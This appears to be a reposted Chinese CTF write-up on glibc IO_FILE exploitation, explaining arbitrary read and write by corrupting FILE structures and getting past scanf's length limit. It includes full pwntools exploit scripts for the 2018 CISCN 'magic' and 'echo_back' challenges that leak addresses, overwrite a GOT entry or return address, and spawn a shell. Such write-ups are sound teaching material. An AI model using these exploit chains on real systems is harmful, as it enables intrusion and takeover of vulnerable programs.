scanf返回值_IO FILE之任意读写和scanf的限制绕过
生活随笔
收集整理的這篇文章主要介紹了
scanf返回值_IO FILE之任意读写和scanf的限制绕过
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
本文將簡單介紹一下scanf的長度繞過和由fwrite、fread實現(xiàn)的任意讀寫,然后用兩個ctf例題(2018年的兩道國賽題 echo_back 和 magic)來加深理解。本文中write_s,write_e,read_s,read_e分別表示開始寫入的開始結(jié)束地址、讀取的開始結(jié)束地址。
fread 之 stdin任意寫
網(wǎng)上介紹fread源碼分析的文章很多,所以本文就不著重分析他的詳細流程了。首先先介紹一下file結(jié)構(gòu)(FILE在Linux系統(tǒng)的標準IO庫中是用于描述文件的結(jié)構(gòu),稱為文件流。FILE結(jié)構(gòu)在程序執(zhí)行fopen等函數(shù)時會進行創(chuàng)建,并分配在堆中。我們常定義一個指向FILE結(jié)構(gòu)的指針來接收這個返回值。)FILE結(jié)構(gòu)定義在libio.h中struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};先著重介紹其中要用到的指針:- _IO_buf_base:輸入(出)緩沖區(qū)的基地址,_IO_file_xsgetn函數(shù)會通過它來判斷輸入緩沖區(qū)是否為空,為空則會調(diào)用_IO_doallocbuf函數(shù)來進行初始化。
- _IO_buf_end:輸入(出)緩沖區(qū)的結(jié)束地址。
- _IO_read_ptr:指向當前要寫入的地址。
- _IO_read_end:一般和_IO_read_ptr共同使用,_IO_read_end-_IO_read_ptr表示可用的輸入緩沖區(qū)大小。
- 設(shè)置_IO_buf_base為write_s,_IO_buf_end為write_end(_IO_buf_end-_IO_buf_base要大于0)
- flag位不能含有4(_IO_NO_READS),_fileno要為0。(最好就直接使用原本的flag)
- 設(shè)置_IO_read_end等于_IO_read_ptr。
scanf 的長度修改:
scanf是調(diào)用stdin中的_IO_new_file_underflow去調(diào)用read的(和fread相同)。這里依舊是上面的那幾個關(guān)鍵代碼:一:·········································if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; 二:·········································count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); 三:·········································fp->_IO_read_end += count;我們可以知道它是向fp->_IO_buf_base處寫入(fp->_IO_buf_end – fp->_IO_buf_base)長度的數(shù)據(jù)。只要我們可以修改_IO_buf_base和_IO_buf_end就可以實現(xiàn)任意位置任意長度的數(shù)據(jù)寫入。第三部分我們放到題目each_back中來分析。fwrite 之 stdout任意讀寫
因為stdout會將緩沖區(qū)中的數(shù)據(jù)輸出出來,所以就具有了stdin沒有的任意讀功能。首先說一下涉及到的指針:- _IO_write_base:輸出緩沖區(qū)基址。
- _IO_write_end:輸出緩沖區(qū)結(jié)束地址。
- _IO_write_ptr:_IO_write_ptr和_IO_write_base之間的地址為已使用的緩沖區(qū),_IO_write_ptr和_IO_write_end之間為未使用的緩沖區(qū)。
- _IO_buf_base:輸入(出)緩沖區(qū)的基地址。
- _IO_buf_end:輸入(出)緩沖區(qū)的結(jié)束地址。
任意寫:
else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){ 把數(shù)據(jù)拷貝到緩沖區(qū)。}他的任意寫是基于_IO_new_file_xsputn中將數(shù)據(jù)復(fù)制到緩沖區(qū)這一功能能實現(xiàn)的。所以我們只要構(gòu)造_IO_write_ptr為write_s,_IO_write_end為write_e,自然就滿足了if的條件,這樣就達到了任意寫的目的。任意讀:
簡單寫一下fwrite的關(guān)鍵流程:_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>_IO_do_writeelse if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){ 把數(shù)據(jù)拷貝到緩沖區(qū)。}if (to_do + must_flush > 0) { if (_IO_OVERFLOW (f, EOF) == EOF)這里不同于上面的任意讀,我們不希望他將數(shù)據(jù)拷貝到緩沖區(qū)中,這里一般構(gòu)造f->_IO_write_end = f->_IO_write_ptr。之后就會去調(diào)用_IO_OVERFLOW(_IO_new_file_overflow)_IO_new_file_overflow中有兩個對flag位的檢查if (f->_flags & _IO_NO_WRITES)if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)所以flag位要不包含8和0x800接下來就會調(diào)用:if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); return (unsigned char) ch;其中_IO_do_write函數(shù)的作用是輸出緩沖區(qū),我們這里要構(gòu)造_IO_write_base為read_s,構(gòu)造_IO_write_ptr為read_e。在_IO_do_write中還有幾個判斷需要繞過:if (fp->_flags & _IO_IS_APPENDING)else if (fp->_IO_read_end != fp->_IO_write_base)flag位不能包含 0x1000(_IO_IS_APPENDING),并且要構(gòu)造fp->_IO_read_end = fp->_IO_write_base。最后構(gòu)造f->_fileno為1。小結(jié):
- flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
- 構(gòu)造_fileno為1
- 構(gòu)造_IO_write_base=read_s,_IO_write_ptr=read_e。
例題:
2018 ciscn magic:
首先查看一下保護:沒有開啟pie保護,Partial RELRO意味著我們可以修改函數(shù)got表。放入ida種簡單查看一下:是個菜單題,上面只給出了三個功能,但是序號很蹊蹺,正好跳過了3,我們通過閱讀代碼可以知道它是有3這個隱藏功能的,但因為解題過程中沒有用到,就不說他了。這道題的關(guān)鍵點在于功能二的以下部分中:首先看一下write_spell和read_spell函數(shù):我們發(fā)現(xiàn)這兩個函數(shù)調(diào)用了fwrite和fread函數(shù),并且使用了自己創(chuàng)建的file結(jié)構(gòu)。而且fread函數(shù)后面還跟著一個write函數(shù),結(jié)合上面提到的:have = fp->_IO_read_end - fp->_IO_read_ptr; if (have > 0) { 將輸入緩沖區(qū)中的內(nèi)容拷貝至目標地址。 }這里的目標地址,就是write函數(shù)要輸出內(nèi)容所在的地址,也就是說如果我們能控制log_file結(jié)構(gòu),就可以利用read_spell函數(shù)來泄漏libc基址以及heap的基址。那么要如何做到控制log_file呢:我們看到最下面有一個 *(v3 + 0x28)-=50ll,那么我們看一下v3是什么:這里是存在數(shù)組下標越界的而指向log_file的指針正好位于數(shù)組的上方,所以我們讓v2為-2的話,*(v3 + 0x28)-=50ll 就會修改的是log_file中的_IO_write_ptr。那么我們就要利用它來修改_IO_write_ptr。這里要注意每次fwrite后會將輸出的長度加到_IO_write_ptr上,修改的時候一定要注意。*f->_IO_write_ptr++ = ch;通過調(diào)試可以知道log_file結(jié)構(gòu)位于我們create的堆地址上方。for i in range(12): spell(p, -2, 'x00') spell(p, -2, 'x00' * 13) spell(p, -2, 'x00' * 9)可以看到此時已經(jīng)將_IO_write_ptr修改為log_file結(jié)構(gòu)內(nèi)部的地址。 spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(puts_got) + p64(puts_got + 0x100)) libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest利用上文說到的方法就可以泄漏出libc基址。但是我們還需要heap基址用于got表修改,所以需要再泄漏一個地址,所以我們要使_IO_write_ptr指向泄漏libc之前的位置。spell(p, -2, p64(0) + p64(0))這樣之后就可以用相同的方法再泄漏heap的基址: spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0)) heap_addr = u64(p.recvn(8)) - 0x10接下來是修改got表部分:spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))在泄漏完heap基址后,log_file結(jié)構(gòu)如下:可以看到_IO_write_ptr為0x2042030,這樣的話我們?nèi)?zhí)行上面腳本的第一行,因為輸出的長度為0x18,這樣修改的話就會變成下圖這樣:這樣的話,就符合了我們上面說的任意寫的條件,接下來就可以去修改_IO_buf_baseh和_IO_buf_end。(也就是第二行代碼)。我在上文提到了:_IO_new_file_underflow中在執(zhí)行系統(tǒng)調(diào)用之前會設(shè)置一次FILE指針,將_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部設(shè)置為_IO_buf_base。所以我們在執(zhí)行完上面兩行代碼后_IO_write_ptr就會指向0x602122(它位于fwrite函數(shù)got表的下方)接下來我們就要調(diào)整IO_write_ptr的值來修改got表。 spell(p, -2, 'x00') spell(p, -2, 'x01') spell(p, -2, 'x00') spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6]) spell(p, 0, '/bin/sh')這里有一點需要注意,就是spell(p, -2, ‘x01’),這里必須要大于0,因為:這里如果滿足不了第一個if,就會跳轉(zhuǎn)到muggle那部分。完整的exp:# coding:utf-8from pwn import *context(arch = 'amd64', os = 'linux')context.log_level = 'debug'debug=1ip='111.198.29.45'port='31577'if debug == 1: p = process('./magic')else: p = remote(ip, port)puts_offest = 0x6f690system_offest = 0x45390puts_got = 0x602020fwrite_got = 0x602090log_addr = 0x6020E0def debug(): gdb.attach(p) pause()def create(p, name): p.recvuntil('choice>> ') p.sendline('1') p.recvuntil('name:') p.send(name)def spell(p, index, data): p.recvuntil('choice>> ') p.sendline('2') p.recvuntil('spell:') p.sendline(str(index)) p.recvuntil('name:') p.send(data)def final(p, index): p.recvuntil('choice>> ') p.sendline('3') p.recvuntil('chance:') p.sendline(str(index))def pwn(): create(p, 'sss') spell(p, 0, 'yyyyy') for i in range(12): spell(p, -2, 'x00') spell(p, -2, 'x00' * 13) spell(p, -2, 'x00' * 9) #debug() spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(puts_got) + p64(puts_got + 0x100)) libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest log.info('libc addr is : ' + hex(libc_addr)) #debug() spell(p, -2, p64(0) + p64(0)) spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8)) spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0)) heap_addr = u64(p.recvn(8)) - 0x10 log.info('heap addr is : ' + hex(heap_addr)) debug() spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58)) #debug() spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100)) spell(p, -2, 'x00') spell(p, -2, 'x01') spell(p, -2, 'x00') spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6]) spell(p, 0, '/bin/sh') p.interactive()if __name__ == '__main__': pwn()2018 ciscn each_back
日常檢查,保護全家桶。這道題的格式化字符串漏洞很明顯因為它開啟了pie,所以我們最開始的思路就是要泄漏出一些我們需要的地址。首先查看stack,尋找一些有用的信息:這里我標出了三個內(nèi)容(計算偏移時不要忘了這是64位程序,前六個參數(shù)保存在寄存器里):1.main函數(shù)的ebp2.函數(shù)的返回地址,它對應(yīng)main函數(shù)中的地址,所以我們可以借此獲得程序的基地址(elf_ddr)3.可以得到libc基址printf函數(shù)返回地址的求法:因為main函數(shù)里并沒有修改rbp、rsp,所以這里printf函數(shù)的返回地址為main函數(shù)的rsp(也就是我們這里泄漏出的ebp) -0x28。今天的重頭戲來了:他限制了我們輸入的長度不能超過7,我們要想修改函數(shù)返回地址,payload不可能比7字節(jié)短,所以我們這里要找其他輸入payload的方式,這里我們盯上了scanf函數(shù)。我們就用上文提到的方法來修改scanf可輸入的長度:payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)這里就有一點需要注意了,上文我留下的第三部分,就是:fp->_IO_read_end += count;我們在修改完長度之后,_IO_read_end就會加上我們payload長度的大小,這樣就會導致后面輸入payload來修改返回地址時,fp->_IO_read_ptr < fp->_IO_read_end的條件無法實現(xiàn),所以我們這里利用getchar函數(shù)(每次會使_IO_read_ptr+1)來讓這個條件滿足:for i in range(len(payload)-1): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('')這里主要說一下scanf的利用,關(guān)于格式化字符串的內(nèi)容就不過多的敘述。完整exp:#coding:utf-8from pwn import *context.log_level = 'debug'debug = 1elf = ELF('./echo_back')if debug: p = process('./echo_back') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'else: p = remote('', xxxx) libc = ELF('./libc.so.6')def dubug(): gdb.attach(p) pause()def set_name(name): p.recvuntil('choice>>') p.sendline('1') p.recvuntil('name') p.send(name)def echo(content): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('-1') p.send(content)#----------------------------stack----------------------------------------------echo('%12$pn')p.recvuntil('anonymous say:')stack_addr = int(p.recvline()[:-1],16)#----------------------------elf---------------------------------------------echo('%13$pn')p.recvuntil('anonymous say:')pie = int(p.recvline()[:-1],16)-0xd08#----------------------------libc---------------------------------------------echo('%19$pn')p.recvuntil('anonymous say:')libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']print '[+] system :',hex(libc.symbols['system'])set_name(p64(libc.address + 0x3c4918)[:-1])echo('%16$hhn')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)p.sendline('')for i in range(len(payload)-1): p.recvuntil('choice>>') p.sendline('2') p.recvuntil('length:') p.sendline('')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(pie+0xd93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])p.sendline(payload)p.sendline('')p.interactive()參考資料:
https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_writehttps://wiki.x10sec.org/pwn/io_file/introduction/更多好文
暗度陳倉:基于國內(nèi)某云的 Domain Fronting 技術(shù)實踐對PHPOK的一次審計 | 新手向64位格式化字符串漏洞修改got表利用詳解總結(jié)
以上是生活随笔為你收集整理的scanf返回值_IO FILE之任意读写和scanf的限制绕过的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 养成类游戏有哪些
- 下一篇: 银河航天承担研制的四颗干涉合成孔径雷达卫